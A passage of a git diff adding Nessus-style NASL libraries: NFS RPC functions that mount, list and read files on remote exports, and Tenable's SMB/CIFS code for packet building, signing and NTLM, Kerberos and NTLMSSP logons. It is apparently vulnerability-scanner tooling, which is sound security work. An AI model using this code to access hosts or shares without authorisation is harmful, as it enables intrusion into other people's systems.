rpclong(val:strlen(this_host_name())) + + this_host_name() + + rpcpad(pad:pad) + + rpclong(val:0) + + rpclong(val:0) + + rpclong(val:7) + + rpclong(val:0) + + rpclong(val:2) + + rpclong(val:3) + + rpclong(val:4) + + rpclong(val:5) + + rpclong(val:20) + + rpclong(val:31) + + rpclong(val:0) + + rpclong(val:0) + + rpclong(val:0) + + + rpclong(val:strlen(share)) + + share + + rpcpad(pad:padsz(len:strlen(share))); + + send(socket:soc, data:req); + r = recv(socket:soc, length:4096); + if(strlen(r) < 24) + return NULL; + else + { + if(str2long(val:r, idx:24) != 0) + return NULL; + + ret = ""; + for(i=28;i<60;i++)ret += r[i]; + return ret; + } +} + +function readdir(soc, fid) +{ + local_var req, r, i, dir, ret; + + req = rpclong(val:rand()) + + rpclong(val:0) + + rpclong(val:2) + + rpclong(val:100003) + + rpclong(val:2) + + rpclong(val:16) + + rpclong(val:1) + + rpclong(val:48) + + rpclong(val:0) + + rpclong(val:0) + + rpclong(val:0) + + rpclong(val:0) + + rpclong(val:7) + + rpclong(val:0) + + rpclong(val:2) + + rpclong(val:3) + + rpclong(val:4) + + rpclong(val:5) + + rpclong(val:20) + + rpclong(val:31) + + + rpclong(val:0) + + rpclong(val:0) + + fid + + rpclong(val:0) + + rpclong(val:8192); + + send(socket:soc, data:req); + r = recv(socket:soc, length:8192); + if(strlen(r) <= 24) return NULL; + if(str2long(val:r, idx:24) != 0) return NULL; # Could not read dir + + i = 28; + ret = make_list(); + while(str2long(val:r, idx:i) == 1) + { + if ( i > strlen(r)) break; + i += 4; + i += 4; # File ID - don't care + len = str2long(val:r, idx:i); + i+=4; + dir = substr(r, i, i + len - 1); + i += len; + i += padsz(len:len); + i += 4; + ret = make_list(ret, dir); + } + return ret; +} + + +function cwd(soc, dir, fid) +{ + local_var req, ret, i; + + + req = rpclong(val:rand()) + + rpclong(val:0) + + rpclong(val:2) + + rpclong(val:100003) + + rpclong(val:2) + + rpclong(val:4) + + rpclong(val:1) + + rpclong(val:48) + + rpclong(val:0) + + rpclong(val:0) + + rpclong(val:0) + + rpclong(val:0) + + rpclong(val:7) + + rpclong(val:0) + + rpclong(val:2) + + rpclong(val:3) + + rpclong(val:4) + + rpclong(val:5) + + rpclong(val:20) + + rpclong(val:31) + + rpclong(val:0) + + rpclong(val:0) + + fid + + rpclong(val:strlen(dir)) + + dir + + rpcpad(pad:padsz(len:strlen(dir))); + + send(socket:soc, data:req); + r = recv(socket:soc, length:8192); + if(strlen(r) < 24) + return NULL; + + if(strlen(r) < 24) + return NULL; + else + { + if(str2long(val:r, idx:24) != 0) + return NULL; + + ret = ""; + for(i=28;i<56;i++)ret += r[i]; + ret += rpclong(val:0); + return ret; + } +} + + + + + + +function open(soc, file, fid) +{ + local_var req, ret, i; + + + req = rpclong(val:rand()) + + rpclong(val:0) + + rpclong(val:2) + + rpclong(val:100003) + + rpclong(val:2) + + rpclong(val:4) + + rpclong(val:1) + + rpclong(val:48) + + rpclong(val:0) + + rpclong(val:0) + + rpclong(val:0) + + rpclong(val:0) + + rpclong(val:7) + + rpclong(val:0) + + rpclong(val:2) + + rpclong(val:3) + + rpclong(val:3) + + rpclong(val:5) + + rpclong(val:20) + + rpclong(val:31) + + rpclong(val:0) + + rpclong(val:0) + + fid + + rpclong(val:strlen(file)) + + file + + rpcpad(pad:padsz(len:strlen(file))); + + send(socket:soc, data:req); + r = recv(socket:soc, length:8192); + if(strlen(r) < 24) + return NULL; + + if(strlen(r) < 24) + return NULL; + else + { + if(str2long(val:r, idx:24) != 0) + return NULL; + + ret = ""; + for(i=28;i<56;i++)ret += r[i]; + ret += rpclong(val:0); + return ret; + } +} + +function read(soc, fid, length, off) +{ + local_var req, ret, i, len; + + + req = rpclong(val:rand()) + + rpclong(val:0) + + rpclong(val:2) + + rpclong(val:100003) + + rpclong(val:2) + + rpclong(val:6) + + rpclong(val:1) + + rpclong(val:48) + + rpclong(val:0) + + rpclong(val:0) + + rpclong(val:0) + + rpclong(val:0) + + rpclong(val:7) + + rpclong(val:0) + + rpclong(val:2) + + rpclong(val:3) + + rpclong(val:4) + + rpclong(val:5) + + rpclong(val:20) + + rpclong(val:31) + + rpclong(val:0) + + rpclong(val:0) + + fid + + rpclong(val:off) + + rpclong(val:length) + + rpclong(val:0); + + send(socket:soc, data:req); + r = recv(socket:soc, length:length + 33); + if(strlen(r) <= 32) + return NULL; + + return substr(r, 32, strlen(r) - 1); +} + + +function umount(soc, share) +{ + local_var pad, req, len, r, ret, i; + + pad = padsz(len:strlen(this_host_name())); + len = 52 + strlen(this_host_name()) + pad; + + req = rpclong(val:rand()) + + rpclong(val:0) + + rpclong(val:2) + + rpclong(val:100005) + + rpclong(val:1) + + rpclong(val:3) + + rpclong(val:1) + + rpclong(val:len) + + rpclong(val:rand()) + + rpclong(val:strlen(this_host_name())) + + this_host_name() + + rpcpad(pad:pad) + + rpclong(val:0) + + rpclong(val:0) + + rpclong(val:7) + + rpclong(val:0) + + rpclong(val:2) + + rpclong(val:3) + + rpclong(val:4) + + rpclong(val:5) + + rpclong(val:20) + + rpclong(val:31) + + rpclong(val:0) + + rpclong(val:0) + + rpclong(val:0) + + + rpclong(val:strlen(share)) + + share + + rpcpad(pad:padsz(len:strlen(share))); + + send(socket:soc, data:req); + r = recv(socket:soc, length:8192); +} + diff --git a/content/WinVA/plugins/smb_cifs.inc b/content/WinVA/plugins/smb_cifs.inc new file mode 100644 index 0000000..f628caa --- /dev/null +++ b/content/WinVA/plugins/smb_cifs.inc @@ -0,0 +1,2028 @@ +# -*- Fundamental -*- +# +# +# (C) 2006 Tenable Network Security +# +# This script is released under one of the Tenable Script Licenses and may not +# be used from within scripts released under another license without the +# authorization from Tenable Network Security Inc. +# +# See the following licenses for details : +# http://www.nessus.org/plugins/RegisteredFeed.pdf +# http://www.nessus.org/plugins/TenableCommercial.pdf +# http://www.nessus.org/plugins/DirectFeed.pdf +# http://www.nessus.org/plugins/DirectFeedCommercial.pdf +# +# +# @NOGPL@ +# +# smb_cifs.inc +# $Revision: 1.1 $ +# + + + +#==================================================================# +# Section 3. SMB functions # +#==================================================================# + + +#---------------------------------------------------------# +# Function : smb_parameters # +# Description : Create SMB parameters structure # +#---------------------------------------------------------# + +function smb_parameters (data) +{ + local_var count; + + if ( !data ) + count = 0; + else + count = strlen (data) / 2; + + return raw_byte (b:count) + data; +} + + +#---------------------------------------------------------# +# Function : smb_data # +# Description : Create SMB data structure # +#---------------------------------------------------------# + +function smb_data (data) +{ + local_var count; + + if ( isnull(data) ) + count = 0; + else + count = strlen (data); + + return raw_word (w:count) + data; +} + + +function netbios_header (type, length) +{ + return raw_byte (b:type) + + raw_string ( (length>>16) & 255, (length>>8) & 255, (length) & 255 ); +} + + +#---------------------------------------------------------# +# Function : netbios_packet # +# Description : Convert SMB to netbios packet # +#---------------------------------------------------------# +# # +# BYTE Type; # 0 = session message # +# BYTE Length[3]; # length is on 24bits # +# # +#---------------------------------------------------------# + +function netbios_packet (header,parameters,data) +{ + local_var length, netbios, head, hash, MAC, key; + + key = session_get_mackey(); + + if (key) + { + hash = MD5 (key + header + parameters + data); + MAC = substr( hash, 0, 7); + head = substr (header, 0, 13) + MAC + substr (header, 22, 31); + previous_hash = MAC; + } + else + head = header; + + length = strlen (head) + strlen (parameters) + strlen (data); + + netbios = netbios_header (type:0, length:length) + + head + parameters + data; + + return netbios; +} + + +#---------------------------------------------------------# +# Function : smb_recv # +# Description : Receive network smb packet # +#---------------------------------------------------------# + +function smb_recv () +{ + local_var header, len, trailer, socket, timeout, tmp, hash, key; + + socket = session_get_socket (); + timeout = session_get_timeout (); + + header = recv(socket:socket, length:4, min:4, timeout:timeout); + if (strlen(header) < 4) + return(NULL); + + len = 65535 * ord(header[1]) + + 256 * ord(header[2]) + + ord(header[3]); + + if (len < 32) + return (NULL); + + if (len > 100000) + len = 100000; + + trailer = recv(socket:socket, length:len, min:len, timeout:timeout); + if (strlen(trailer) < len ) + return(NULL); + + if ( session_get_mackey() ) + { + key = session_get_mackey(); + + tmp = substr (trailer,0,13) + raw_dword (d:session_get_sequencenumber()) + raw_dword (d:0) + substr (trailer, 22, strlen(trailer)-1); + hash = substr(MD5 (key + tmp),0,7); + + # if signature is not correct we stop + if (hash >!< substr(trailer, 14, 21)) + { + if (strlen (key) == 16) + { + session_set_mackey (key:crap(data:raw_string(0),length:16)); + tmp = substr (trailer,0,13) + raw_dword (d:session_get_sequencenumber()) + raw_dword (d:0) + substr (trailer, 22, strlen(trailer)-1); + hash = substr(MD5 (session_get_mackey () + tmp),0,7); + + # guest logon disable smb signing + if (previous_hash >< substr(trailer, 14, 21)) + session_set_mackey (key:NULL); + + # if signature is not correct we stop + else if (hash >!< substr(trailer, 14, 21)) + return NULL; + } + else + return NULL; + } + } + + if (session_get_mackey()) + session_increase_sequencenumber(); + + return trailer; +} + + +#---------------------------------------------------------# +# Function : smb_sendrecv # +# Description : Perform a client/server exchange # +#---------------------------------------------------------# + +function smb_sendrecv(data) +{ + local_var socket; + + socket = session_get_socket(); + + send (socket:socket, data:data); + + if (session_get_mackey()) + session_increase_sequencenumber(); + + return smb_recv (); +} + + +#---------------------------------------------------------# +# Function : get_header_flags # +# Description : Extract Flags # +#---------------------------------------------------------# + +function get_header_flags(header) +{ + return get_byte (blob:header, pos:9); +} + + +#---------------------------------------------------------# +# Function : get_header_flags2 # +# Description : Extract Flags2 # +#---------------------------------------------------------# + +function get_header_flags2(header) +{ + return get_word (blob:header, pos:10); +} + + +#---------------------------------------------------------# +# Function : get_header_dos_error_code # +# Description : Extract DOS Error code # +#---------------------------------------------------------# + +function get_header_dos_error_code(header) +{ + return get_word (blob:header, pos:7); +} + + +#---------------------------------------------------------# +# Function : get_header_nt_error_code # +# Description : Extract NT Error code # +#---------------------------------------------------------# + +function get_header_nt_error_code(header) +{ + return get_dword (blob:header, pos:5); +} + + +#---------------------------------------------------------# +# Function : get_header_command_code # +# Description : Extract Command code # +#---------------------------------------------------------# + +function get_header_command_code(header) +{ + return get_byte (blob:header, pos:4); +} + + +#---------------------------------------------------------# +# Function : get_header_uid # +# Description : Extract User ID # +#---------------------------------------------------------# + +function get_header_uid(header) +{ + return get_word (blob:header, pos:28); +} + + +#---------------------------------------------------------# +# Function : get_header_tid # +# Description : Extract Tree ID # +#---------------------------------------------------------# + +function get_header_tid(header) +{ + return get_word (blob:header, pos:24); +} + + +#---------------------------------------------------------# +# Function : get_header_signature # +# Description : Extract Signature # +#---------------------------------------------------------# + +function get_header_signature(header) +{ + return substr (header,14,21); +} + + +#---------------------------------------------------------# +# Function : get_smb_header # +# Description : Extract SMB header from blob # +#---------------------------------------------------------# + +function get_smb_header(smbblob) +{ + if (strlen (smbblob) < SMB_HDR_SIZE) + return NULL; + + return substr (smbblob, 0, SMB_HDR_SIZE - 1); +} + + +#---------------------------------------------------------# +# Function : get_smb_parameters # +# Description : Extract SMB parameters from blob # +#---------------------------------------------------------# + +function get_smb_parameters(smbblob) +{ + local_var WordCount; + + if (strlen (smbblob) < SMB_HDR_SIZE + 1) + return NULL; + + WordCount = get_byte (blob:smbblob, pos:SMB_HDR_SIZE); + if (strlen (smbblob) < (SMB_HDR_SIZE + 1 + WordCount * 2)) + return NULL; + + return substr (smbblob, SMB_HDR_SIZE + 1, SMB_HDR_SIZE + 1 + WordCount * 2); +} + + +#---------------------------------------------------------# +# Function : get_smb_data # +# Description : Extract SMB data from blob # +#---------------------------------------------------------# + +function get_smb_data(smbblob) +{ + local_var WordCount, ByteCount, pos; + + if (strlen (smbblob) < SMB_HDR_SIZE + 1) + return NULL; + + WordCount = get_byte (blob:smbblob, pos:SMB_HDR_SIZE); + if (strlen (smbblob) < (SMB_HDR_SIZE + 1 + WordCount * 2 + 2)) + return NULL; + + pos = SMB_HDR_SIZE + 1 + WordCount * 2; + + ByteCount = get_word (blob:smbblob, pos:pos); + + if (strlen (smbblob) < (pos + 2 + ByteCount)) + return NULL; + + return substr (smbblob, pos + 2, pos + 2 + ByteCount - 1); +} + + +#---------------------------------------------------------# +# Function : smb_header # +# Description : Generate header of SMB packet # +#---------------------------------------------------------# +# # +# SMB header structure # +# # +# struct { # +# BYTE Protocol[4]; # "\xFFSMB" # +# BYTE Command; # +# DWORD Status; # Or BYTE ErrorClass; # +# # BYTE Reserved; # +# # WORD Error; # +# BYTE Flags; # +# WORD Flags2; # +# WORD PidHigh; # 0 like noone know it # +# BYTE Signature[8]; # +# WORD Reserved; # +# WORD Tid; # Tree ID # +# WORD Pid; # Process ID # +# WORD Uid; # User ID # +# WORD Mid; # Multiplex ID # +# } # +# # +#---------------------------------------------------------# + +function smb_header (Command, Status, Flags, Flags2) +{ + local_var header, fl, fl2; + + if (!isnull (Flags)) + fl = Flags; + if (!isnull (Flags2)) + fl2 = Flags2; + + header = '\xFFSMB'; + header += raw_byte(b:Command); + header += Status; + header += raw_byte (b:session_get_flags() | fl); + header += raw_word (w:session_get_flags2() | fl2); + header += raw_word (w:0); + header += raw_dword (d:session_get_sequencenumber()) + raw_dword (d:0); + header += raw_word (w:0); + header += raw_word (w:session_get_tid()); + header += raw_word (w:session_get_pid()); + header += raw_word (w:session_get_uid()); + header += raw_word (w:session_get_mid()); + + return header; +} + + + +function smb_check_success (data) +{ + local_var header, flags2, code; + + # Some checks in the header first + header = get_smb_header (smbblob:data); + if (!header) + return FALSE; + + flags2 = get_header_flags2 (header:header); + if (flags2 & SMB_FLAGS2_32BIT_STATUS) + { + code = get_header_nt_error_code (header:header); + if (code != STATUS_SUCCESS) + return FALSE; + } + else + { + code = get_header_dos_error_code (header:header); + if (code != NO_ERROR) + return FALSE; + } + + return TRUE; +} + + +#-----------------------------------------------------------------# +# Encode name and service to the netbios network format # +#-----------------------------------------------------------------# + +function netbios_encode(data,service) +{ + local_var tmpdata, ret, i, o, odiv, omod, c; + + ret = ""; + tmpdata = data; + + while (strlen(tmpdata) < 15) + { + tmpdata += " "; + } + + tmpdata += raw_string(service); + + for(i=0;i<16;i=i+1) + { + o = ord(tmpdata[i]); + odiv = o/16; + odiv = odiv + ord("A"); + omod = o%16; + omod = omod + ord("A"); + c = raw_string(odiv, omod); + + ret = ret+c; + } + + return raw_byte (b:strlen(ret)) + ret; +} + + +#-----------------------------------------------------------------# +# Convert a netbios name to the netbios network format # +#-----------------------------------------------------------------# + +function netbios_name(orig) +{ + return netbios_encode(data:orig, service:0x20); +} + + +function netbios_sendrecv (type, data) +{ + local_var req, socket, timeout, header, len, trailer; + + req = netbios_header (type:type, length:strlen(data)) + + data; + + socket = session_get_socket(); + timeout = session_get_timeout (); + + send (socket:socket, data:req); + + header = recv(socket:socket, length:4, min:4, timeout:timeout); + if (strlen(header) < 4) + return(NULL); + + len = 65535 * ord(header[1]) + + 256 * ord(header[2]) + + ord(header[3]); + + if (len > 100000) + len = 100000; + + trailer = recv(socket:socket, length:len, min:len, timeout:timeout); + if (strlen(trailer) < len ) + return(NULL); + + return header + trailer; +} + + + + + +#==================================================================# +# Section 4. Netbios Functions # +#==================================================================# + +function netbios_session_request () +{ + local_var req, resp, rep, port, called_name, calling_name, name, data; + + port = kb_smb_transport (); + if (port == 445) + return TRUE; + + name = get_kb_item ("SMB/netbios_name"); + if (name == TRUE) + called_name = netbios_name (orig:session_get_hostname()); + else + called_name = netbios_name (orig:"*SMBSERVER"); + + calling_name = netbios_name (orig:NULL); + + data = called_name + raw_byte (b:0) + + calling_name + raw_byte (b:0); + rep = netbios_sendrecv (type:0x81, data:data); + if (!rep) + return NULL; + + if (ord(rep[0]) != 0x82) + return FALSE; + + return TRUE; +} + + + +#==================================================================# +# Section 4a. CIFS Functions # +#==================================================================# + + +#---------------------------------------------------------# +# Function : smb_negotiate_protocol # +# Description : Negotiate the SMB protocol to use # +#---------------------------------------------------------# +# # +# SMB header : # +# Command : SMB_COM_NEGOTIATE # +# Status = STATUS_SUCCESS # +# Flags = SMB_FLAGS_CANONICAL_PATHNAMES | # +# SMB_FLAGS_CASELESS_PATHNAMES # +# Flags2 = SMB_FLAGS2_UNICODE_STRINGS | # +# SMB_FLAGS2_KNOWS_LONG_NAMES # +# PidHig = 0 # +# Signature = NULL (0,0..) # +# Tid = 0 # +# Uid = 0 # +# Mid = 2 # +# # +# SMB parameters : # +# BYTE WordCount; # 0 # +# # +# SMB data : # +# WORD ByteCount; # Number of byte # +# { # +# BYTE BufferFormat; # 0x02 (Dialect) # +# BYTE Name[]; # NTLM 0.12 # +# } # +# { # +# ... # PC NETWORK PROGRAM 1.0 # +# # MICROSOFT NETWORKS 1.03 # +# # MICROSOFT NETWORKS 3.0 # +# # LANMAN1.0 # +# # LM1.2X002 # +# # Samba # +# # NT LANMAN 1.0 # +# } # NT LM 0.12 # +# # +#---------------------------------------------------------# + +function smb_negotiate_protocol () +{ + local_var header, parameters, data, packet, ret, i; + + header = smb_header (Command: SMB_COM_NEGOTIATE, + Status: nt_status (Status: STATUS_SUCCESS), + Flags2: SMB_FLAGS2_EXTENDED_SECURITY); + + parameters = smb_parameters (data:NULL); # No parameters + + data = NULL; + for (i = 0; i < supported_protocol; i++) + { + data += raw_byte (b:0x02) + ascii (string:protocol[i]); + } + + data = smb_data (data:data); + + packet = netbios_packet (header:header, parameters:parameters, data:data); + + return smb_sendrecv (data:packet); +} + + + + +#---------------------------------------------------------# +# Function : smb_session_setup_andx_lanman_core # +# Description : Create SMB packet for LANMAN2.1 setupandx # +#---------------------------------------------------------# +# # +# SMB parameters : # +# BYTE WordCount; # +# BYTE Command; # +# BYTE Reserved; # +# WORD Offset; # +# WORD MaxBufferSize; # +# WORD MaxMpxCount; # +# WORD VcNumber; # +# DWORD SessionKey; # +# WORD PasswordLength; # +# DWORD Reserved; # +# # +# SMB data : # +# WORD ByteCount; # +# BYTE Password[]; # +# BYTE AccountName[]; # +# BYTE PrimaryDomain[]; # +# BYTE NativeOS[]; # +# BYTE NativeLanMan[]; # +# # +#---------------------------------------------------------# + +function smb_session_setup_andx_lanman_core (session_key,login,domain,password,mode,challenge) +{ + local_var name,dom,pass,header,parameters,data,packet,response,code,flags2,skey,guest,ret,uid,sig; + + header = smb_header (Command: SMB_COM_SESSION_SETUP_ANDX, + Status: nt_status (Status: STATUS_SUCCESS)); + + # LANMAN2.1 names are uppercase and ascii + name = toupper(login); + dom = toupper (domain); + pass = toupper (password); + + # If challenge/response mode we generate the response, else we keep plain text password + if (pass && (mode & NEGOTIATE_SECURITY_CHALLENGE_RESPONSE)) + { + response = LM_Response (password:cstring (string:pass), challenge:challenge); + + pass = response[0]; + skey = response[1] + response[0]; + } + + parameters = raw_byte (b:255) + # no further command + raw_byte (b:0) + + raw_word (w:0) + + raw_word (w:session_get_buffersize()) + + raw_word (w:1) + + raw_word (w:0) + + raw_dword (d:session_key) + + raw_word (w:strlen(pass)) + + raw_dword (d:0); + + parameters = smb_parameters (data:parameters); + + data = pass + + cstring (string:name) + + cstring (string:dom) + + cstring (string:nes_native_os) + + cstring (string:nes_native_lanman); + + data = smb_data (data:data); + + packet = netbios_packet (header:header, parameters:parameters, data:data); + + ret = smb_sendrecv (data:packet); + if (!ret) + return NULL; + + if (smb_check_success (data:ret) == FALSE) + return NULL; + + # Some checks in the header first + header = get_smb_header (smbblob:ret); + if (!header) + return NULL; + + sig = hexstr (get_header_signature (header:header)); + if ("0000000000000000" >!< sig) + { + # Security signatures are enabled only if server support them + if (!session_get_mackey()); + session_set_mackey (key:skey); + + # we need to mark 2 previous exchange as signed + session_increase_sequencenumber(); + session_increase_sequencenumber(); + } + + uid = get_header_uid (header:header); + session_set_uid (uid:uid); + + # We now parse/take information in SMB parameters + parameters = get_smb_parameters (smbblob:ret); + if (!parameters || (strlen(parameters) < 6)) + return NULL; + + guest = get_word (blob:parameters, pos:4); + session_set_guest (guest:guest); + + return packet; +} + + + +#---------------------------------------------------------# +# Function : smb_session_setup_andx_ntlm_core # +# Description : Create SMB packet for NTLM setupandx # +#---------------------------------------------------------# +# # +# SMB parameters : # +# BYTE WordCount; # +# BYTE Command; # +# BYTE Reserved; # +# WORD Offset; # +# WORD MaxBufferSize; # +# WORD MaxMpxCount; # +# WORD VcNumber; # +# DWORD SessionKey; # +# WORD CaseInsensitivePasswordLength; # +# WORD CaseSensitivePasswordLength; # +# DWORD Reserved; # +# DWORD Capabilities; # +# # +# SMB data : # +# WORD ByteCount; # +# BYTE CaseInsensitivePassword[]; # +# BYTE CaseSensitivePassword[]; # +# BYTE Pad; # present with unicode only # +# BYTE AccountName[]; # +# BYTE PrimaryDomain[]; # +# BYTE NativeOS[]; # +# BYTE NativeLanMan[]; # +# BYTE Pad2[]; # seems to be optionnal # +# # +#---------------------------------------------------------# + +function smb_session_setup_andx_ntlm_core (session_key,login,domain,password,mode,challenge,version) +{ + local_var name,dom,pass,spass,ipass,header,parameters,data,packet,response,code,flags2,skey,guest; + local_var domain_info, os_info, lan_info, mult, ret, uid, hinfo; + + header = smb_header (Command: SMB_COM_SESSION_SETUP_ANDX, + Status: nt_status (Status: STATUS_SUCCESS)); + + if (!(mode & NEGOTIATE_SECURITY_CHALLENGE_RESPONSE)) + { + # SAMBA servers support plain text password in NTLM. + # Implementing CIFS don't know exactly how to do with password. + # Need to look at SAMBA code + return NULL; + } + + ipass = spass = NULL; + + # NTLM use only unicode password + if (session_is_unicode() == 0) + { + session_set_unicode (unicode:1); + pass = cstring (string:password, _null:1); + name = cstring (string:login, _null:1); + dom = cstring (string:domain, _null:1); + session_set_unicode (unicode:0); + } + else + { + pass = cstring (string:password, _null:1); + name = cstring (string:login, _null:1); + dom = cstring (string:domain, _null:1); + } + + # If challenge/response mode we generate the response, else we keep plain text password + if (pass && (mode & NEGOTIATE_SECURITY_CHALLENGE_RESPONSE)) + { + # NOT WORKING ! + #response= NTLMv2_Response (password:pass, login:name, domain:dom, challenge:challenge); + #spass = response[0]; + + if (version == 2) + { + response = LMv2_Response (password:pass, login:name, domain:dom, challenge:challenge); + ipass = response[0]; + # Windows allways use unicode password for mac key + # like it is null (NTLMv2 to fix) we use a null byte [16] array + skey = response[1]; + } + else + { + response = NTLM_Response (password:pass, challenge:challenge); + spass = response[0]; + skey = response[1] + response[0]; + } + + # Security signatures are enabled only if server support them + if (!session_get_mackey() && ((mode & NEGOTIATE_SECURITY_SIGNATURES_REQUIRED) || (mode & NEGOTIATE_SECURITY_SIGNATURES_ENABLED))) + session_set_mackey (key:skey); + + } + + parameters = raw_byte (b:255) + # no further command + raw_byte (b:0) + + raw_word (w:0) + + raw_word (w:session_get_buffersize()) + + raw_word (w:1) + + raw_word (w:0) + + raw_dword (d:session_key) + + raw_word (w:strlen(ipass)) + + raw_word (w:strlen(spass)) + + raw_dword (d:0) + + raw_dword (d: CAP_UNICODE * session_is_unicode() | CAP_LARGE_FILES | CAP_NT_SMBS | CAP_STATUS32 | CAP_LEVEL_II_OPLOCKS | CAP_NT_FIND ); + + parameters = smb_parameters (data:parameters); + + # If Unicode we must add 1 byte pad + if (session_is_unicode() == 1) + spass += raw_string(0x00); + + data = ipass + spass + + cstring (string:login) + + cstring (string:domain) + + cstring (string:nes_native_os) + + cstring (string:nes_native_lanman); + + data = smb_data (data:data); + + packet = netbios_packet (header:header, parameters:parameters, data:data); + + ret = smb_sendrecv (data:packet); + if (!ret) + return NULL; + + data = get_smb_data (smbblob:ret); + + if (strlen(data)%2) + data = substr(data,1,strlen(data)-1); + + os_info = get_string (blob:data, pos:0); + if (session_is_unicode ()) + mult = 2; + else + mult = 1; + lan_info = get_string (blob:data, pos: (strlen(os_info)+1)*mult); + domain_info = get_string (blob:data, pos: (strlen(os_info)+strlen(lan_info)+2)*mult); + + session_set_host_info (domain:domain_info, os:os_info, lan:lan_info); + + if (smb_check_success (data:ret) == FALSE) + return NULL; + + # Some checks in the header first + header = get_smb_header (smbblob:ret); + if (!header) + return NULL; + + uid = get_header_uid (header:header); + session_set_uid (uid:uid); + + # We now parse/take information in SMB parameters + parameters = get_smb_parameters (smbblob:ret); + if (!parameters || (strlen(parameters) < 6)) + return NULL; + + guest = get_word (blob:parameters, pos:4); + session_set_guest (guest:guest); + + return packet; +} + + + +#---------------------------------------------------------# +# Function : smb_session_setup_andx_kerberos_core # +# Description : Create SMB packet for Kerberos setupandx # +#---------------------------------------------------------# + +function smb_session_setup_andx_kerberos_core (session_key,login,password,realm,host,mode) +{ + local_var name,dom,pass,spass,ipass,header,parameters,data,packet,response; + local_var uid, bloblength, securityblob, guest, key, kerb_data, flags2, code, ret; + + header = smb_header (Command: SMB_COM_SESSION_SETUP_ANDX, + Status: nt_status (Status: STATUS_SUCCESS)); + + kerb_data = kerberos_securityblob (login:login,password:password,realm:realm,host:host); + if (isnull(kerb_data)) + return NULL; + + securityblob = kerb_data[1]; + + parameters = raw_byte (b:255) + # no further command + raw_byte (b:0) + + raw_word (w:0) + + raw_word (w:session_get_buffersize()) + + raw_word (w:1) + + raw_word (w:0) + + raw_dword (d:session_key) + + raw_word (w:strlen(securityblob)) + + raw_dword (d:0) + + raw_dword (d: CAP_UNICODE * session_is_unicode() | CAP_LARGE_FILES | CAP_NT_SMBS | CAP_STATUS32 | CAP_LEVEL_II_OPLOCKS | CAP_NT_FIND | CAP_EXTENDED_SECURITY); + + parameters = smb_parameters (data:parameters); + + # If strlen (securityblob) odd add 1 pad byte + if ((strlen (securityblob) % 2) == 0) + securityblob += raw_string(0x00); + + data = securityblob + + cstring (string:nes_native_os) + + cstring (string:nes_native_lanman); + + data = smb_data (data:data); + + packet = netbios_packet (header:header, parameters:parameters, data:data); + + ret = smb_sendrecv (data:packet); + if (!ret) + return NULL; + + # Some checks in the header first + header = get_smb_header (smbblob:ret); + if (!header) + return NULL; + + flags2 = get_header_flags2 (header:header); + if (flags2 & SMB_FLAGS2_32BIT_STATUS) + { + code = get_header_nt_error_code (header:header); + if (code != STATUS_SUCCESS) + return NULL; + } + else + { + code = get_header_dos_error_code (header:header); + if (code != NO_ERROR) + return NULL; + } + + uid = get_header_uid (header:header); + session_set_uid (uid:uid); + + # We now parse/take information in SMB parameters + parameters = get_smb_parameters (smbblob:ret); + if (!parameters || (strlen(parameters) < 8)) + return NULL; + + guest = get_word (blob:parameters, pos:4); + session_set_guest (guest:guest); + + bloblength = get_word (blob:parameters, pos:6); + + # We now parse/take information in SMB parameters + data = get_smb_data (smbblob:ret); + if (!data) + return NULL; + + if (strlen(data) < bloblength) + return NULL; + + securityblob = substr (data, 0, bloblength - 1); + if (!securityblob) + return NULL; + + key = check_kerberos_response (data:securityblob, key:kerb_data[0]); + if (isnull(key)) + return NULL; + + if (!session_get_mackey() && ((mode & NEGOTIATE_SECURITY_SIGNATURES_REQUIRED) || (mode & NEGOTIATE_SECURITY_SIGNATURES_ENABLED)) && (login)) + { + if (key[0] == 0) + session_set_mackey (key:kerb_data[0]); + else + session_set_mackey (key:key[1]); + + session_increase_sequencenumber(); + session_increase_sequencenumber(); + } + + return packet; +} + + +#---------------------------------------------------------# +# Function : smb_session_setup_andx_ntlmssp_core # +# Description : Create SMB packet for ntlmssp setupandx # +#---------------------------------------------------------# + +function smb_session_setup_andx_ntlmssp_core (session_key,login,password,domain,mode) +{ + local_var name,dom,pass,header,parameters,data,packet,response,uid,guest, bloblength, ret, code; + local_var challenge, securityblob,securityblob_length,d_name,h_info,os_info,lan_info,mult,hinfo; + + header = smb_header (Command: SMB_COM_SESSION_SETUP_ANDX, + Status: nt_status (Status: STATUS_SUCCESS)); + + securityblob = ntlmssp_negotiate_securityblob (); + + parameters = raw_byte (b:255) + # no further command + raw_byte (b:0) + + raw_word (w:0) + + raw_word (w:session_get_buffersize()) + + raw_word (w:1) + + raw_word (w:1) + + raw_dword (d:session_key) + + raw_word (w:strlen(securityblob)) + + raw_dword (d:0) + + raw_dword (d: CAP_UNICODE * session_is_unicode() | CAP_LARGE_FILES | CAP_NT_SMBS | CAP_STATUS32 | CAP_LEVEL_II_OPLOCKS | CAP_NT_FIND | CAP_EXTENDED_SECURITY); + + parameters = smb_parameters (data:parameters); + + # If strlen (securityblob) odd add 1 pad byte + if ((strlen (securityblob) % 2) == 0) + securityblob += raw_string(0x00); + + data = securityblob + + cstring (string:nes_native_os) + + cstring (string:nes_native_lanman) + + cstring (string:domain); + + data = smb_data (data:data); + + packet = netbios_packet (header:header, parameters:parameters, data:data); + + ret = smb_sendrecv (data:packet); + if (!ret) + return NULL; + + # Some checks in the header first + header = get_smb_header (smbblob:ret); + if (!header) + return NULL; + + code = get_header_nt_error_code (header:header); + if (code != STATUS_MORE_PROCESSING_REQUIRED) + return NULL; + + uid = get_header_uid (header:header); + session_set_uid (uid:uid); + + # We now parse/take information in SMB parameters + parameters = get_smb_parameters (smbblob:ret); + if (!parameters) + return NULL; + + bloblength = get_word (blob:parameters, pos:6); + + # We now parse/take information in SMB parameters + data = get_smb_data (smbblob:ret); + if (!data) + return NULL; + + if (strlen(data) < bloblength) + return NULL; + + securityblob = substr (data, 0, bloblength - 1); + challenge = ntlmssp_parse_challenge (data:securityblob); + if (isnull(challenge)) + return NULL; + + d_name = get_string2 (blob:challenge[1], pos:0, len:strlen(challenge[1])); + challenge = challenge[0]; + + hinfo = substr(data,bloblength,strlen(data)-1); + os_info = get_string (blob:hinfo, pos:0); + if (session_is_unicode ()) + mult = 2; + else + mult = 1; + lan_info = get_string (blob:hinfo, pos: (strlen(os_info)+1)*mult); + session_set_host_info (domain:d_name, os:os_info, lan:lan_info); + + if (login) + { + # NTLM use only unicode password + if (session_is_unicode() == 0) + { + session_set_unicode (unicode:1); + if (password) + pass = cstring (string:password, _null:1); + else + pass = NULL; + name = cstring (string:login, _null:1); + dom = cstring (string:domain, _null:1); + session_set_unicode (unicode:0); + } + else + { + pass = cstring (string:password, 